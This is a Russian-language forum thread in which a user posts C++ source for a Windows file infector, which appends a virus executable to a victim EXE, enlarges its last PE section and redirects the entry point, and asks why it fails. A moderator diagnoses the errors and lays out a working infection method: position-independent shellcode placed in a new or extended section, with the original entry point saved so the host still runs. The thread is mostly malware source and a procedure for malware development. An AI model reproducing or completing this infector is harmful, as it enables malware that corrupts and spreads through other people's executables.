| 
				
				[C++] Файловый инфектор
				 |   |  
| Slash | Дата: Суббота, 01.08.2015, 00:39 | Сообщение # 1 |  
 
 
 
Постоянный 
Зарегистрирован: 20.12.2012
 
 
Группа: Пользователи 
Сообщений: 161 
Статус: Offline 
 
 | Вообщем, такой код набросал:   Код    #include <windows.h>   #include <stdlib.h>   #include <string.h>   #include <tchar.h>   #include <string.h>   #include <stdio.h>   #include <imagehlp.h> 
   char FileAlignment; 
   DWORD CureLastSection(char* pFileMap)   {     PIMAGE_DOS_HEADER dos = (PIMAGE_DOS_HEADER)pFileMap;     PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)(pFileMap + dos->e_lfanew);     PIMAGE_SECTION_HEADER pSectionHeader = IMAGE_FIRST_SECTION(pNTHeaders);     int numSections = pNTHeaders->FileHeader.NumberOfSections;     for(int i = 0; i < numSections; i++){      if(i == numSections-1){        pSectionHeader->Misc.VirtualSize += 0x40000;          pSectionHeader->SizeOfRawData += 0x40000;          pNTHeaders->OptionalHeader.SizeOfImage += 0x40000;        pSectionHeader->Characteristics = 0xa0000020;        pNTHeaders->OptionalHeader.SizeOfImage = pSectionHeader->Misc.VirtualSize + pSectionHeader->VirtualAddress;        pNTHeaders->OptionalHeader.AddressOfEntryPoint = pSectionHeader->VirtualAddress;        MessageBoxA(0, (const char*)pSectionHeader->Name, "Sec name:", 0);        MessageBoxA(0, "Last Section Curred!", ":)", 0);      } else pSectionHeader++;     }     return 0;   } 
   int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow){   
     HANDLE hFile, hVir, hMapping;     DWORD d, offset;     DWORD br;     char *mapping, *entry;     PIMAGE_DOS_HEADER dos;     PIMAGE_NT_HEADERS nt;     char virBytes[16384];     int i; 
     DeleteFile( L"C:\\AAA\\1.exe"); 
     CopyFile(L"C:\\AAA\\1_copy.exe", L"C:\\AAA\\1.exe", false); 
     hFile = CreateFile(L"C:\\AAA\\1.exe", GENERIC_READ|GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0); 
     if(hFile!=INVALID_HANDLE_VALUE)     {      d = GetFileSize(hFile, 0);      hMapping = CreateFileMapping(hFile, 0, PAGE_READWRITE, 0, d, 0);      mapping = (char*)MapViewOfFile(hMapping, FILE_MAP_READ|FILE_MAP_WRITE, 0, 0, d);      dos = (PIMAGE_DOS_HEADER)mapping;      nt = (PIMAGE_NT_HEADERS)(mapping + dos->e_lfanew);        
      DWORD dwBytesWritten = 0; 
      hVir = CreateFile(L"C:\\AAA\\inf.exe", GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0);      SetFilePointer(hVir, 0, NULL, FILE_BEGIN);      ReadFile(hVir, virBytes, 16384, &br, NULL );      CloseHandle(hVir); 
      SetFilePointer(hFile, 90112, NULL, FILE_BEGIN);      WriteFile( hFile, virBytes, 16384, &br, NULL ); 
      CureLastSection(mapping); 
      UnmapViewOfFile(mapping);      CloseHandle(hMapping);      CloseHandle(hFile); 
      MessageBoxA(0, "OK", ":)", 0); 
     }else MessageBoxA(0, "Cant open!", ":)!", 0); 
     return 1;   }      
   Но не работает - почему?   Алгоритм:   1.Дописываю тело inf.exe в конец жертвы 1.exe   2.Ищу последнюю секцию   3.Расширяю ее(а правильно ли??? Если нет - подскажите в чем ошибка)   4.Меняю точку входа на начало последней секции(а так можно? может нужно на конец последней секции? а может на новую точку входа inf.exe)
 |  
|   | 
 |    |  
| Anton93 | Дата: Суббота, 01.08.2015, 14:05 | Сообщение # 2 |  
 
 
 
Продвинутый 
Зарегистрирован: 06.01.2010
 
 
Группа: Модераторы 
Сообщений: 320 
Статус: Offline 
 
 | твои ошибки.   1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы   2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш. 
   код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код. 
   п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают.
 
   ICQ: 41896
 
 Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 14:11  |  
|   | 
 |    |  
| Slash | Дата: Суббота, 01.08.2015, 16:08 | Сообщение # 3 |  
 
 
 
Постоянный 
Зарегистрирован: 20.12.2012
 
 
Группа: Пользователи 
Сообщений: 161 
Статус: Offline 
 
 | Цитата Anton93 (  )  твои ошибки.   1) нельзя просто так взять и приписать один ехе файл ко второму. т.к. при компиляции они собираются под конкретные адреса. в результате у тебя каша получается при работе программы   2) надо писать шелл-код который будет работать с любого адреса, и который например выпишет оригинальный файл из жертвы носителя. на шелл-код передаем управление в последней секции, а за ним можешь разместить то что надо. естественно на этот адрес не перенаправлять выполнение никогда. следить за этим, иначе крэш. 
   код в разы будет длиннее. начни с изучения внедрения простых шелл-кодов. будет сложно, сразу говорю. читай про базонезависимый код. 
   п.с. писать можно хоть на чем. у меня на micro delphi инфекторы прекрасно работают.        Значит, алгоритм новый должен быть такой:   1.Создаем или расширяем последнюю секцию   2.Туда пишем шелл код на асме, в котором написано что-то типа:вычитываю тело вируса, сохраняю его в отдельный файл, запускаю на исполнение, прыгаю на OEP.   3.Меняем точку входа на начало последней секции с шелл кодом 
   Вот так вот?
 |  
|   | 
 |    |  
| Anton93 | Дата: Суббота, 01.08.2015, 17:52 | Сообщение # 4 |  
 
 
 
Продвинутый 
Зарегистрирован: 06.01.2010
 
 
Группа: Модераторы 
Сообщений: 320 
Статус: Offline 
 
 | алгоритм такой   - создаешь новую секцию либо расширяешь последнюю.   - туда записываешь шелл-код потом необходимые данные   - точку входа меняешь на шелл-код тот что в новой либо последней секции   - самому шелл-коду надо передать оригинальную точку входа поэтому ее тоже записываешь. я оставляю в теле шелл-кода места для нее. 
   в принципе все. про заголовок тоже не забываем  
 
   ICQ: 41896
 
 Сообщение отредактировал Anton93 - Суббота, 01.08.2015, 17:54  |  
|   | 
 |    |  
| Slash | Дата: Суббота, 01.08.2015, 18:12 | Сообщение # 5 |  
 
 
 
Постоянный 
Зарегистрирован: 20.12.2012
 
 
Группа: Пользователи 
Сообщений: 161 
Статус: Offline 
 
 | Цитата Anton93 (  )  в принципе все     Пасиба. Ток еще одно - я правильно вообще секцию последнюю расширяю или полный бред? Просто, мне кажется так нельзя, что-то я упускаю, и правильно ли считаю SizeOfImage?
 |  
|   | 
 |    |     
		
		
 
 
  
 |